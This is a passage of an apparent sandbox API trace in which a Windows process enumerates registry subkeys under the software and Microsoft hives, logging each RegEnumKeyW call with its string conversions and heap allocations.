returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x23fb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x23fb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.562] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x23fb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x23fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0247.562] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x23fb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x23fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.563] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0247.563] RegCloseKey (hKey=0xc4) returned 0x0 [0247.563] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x23fb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.563] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x23fb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x23fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0247.563] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.563] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.564] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x23fb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.564] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x23fb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x23fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.564] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x23fb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.564] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x23fb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0247.564] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.564] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.565] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x23fb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x23fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.565] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x23fb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x23fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.565] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x23fb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.565] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x23fb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x23fc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0247.565] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.565] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.566] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x23fb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x23fc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.566] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x23fb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x23fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.566] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x23fb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.566] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.566] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x23fb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x23fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0247.566] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.567] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x23fb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.567] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x23fb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x23fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.567] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x23fb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.567] 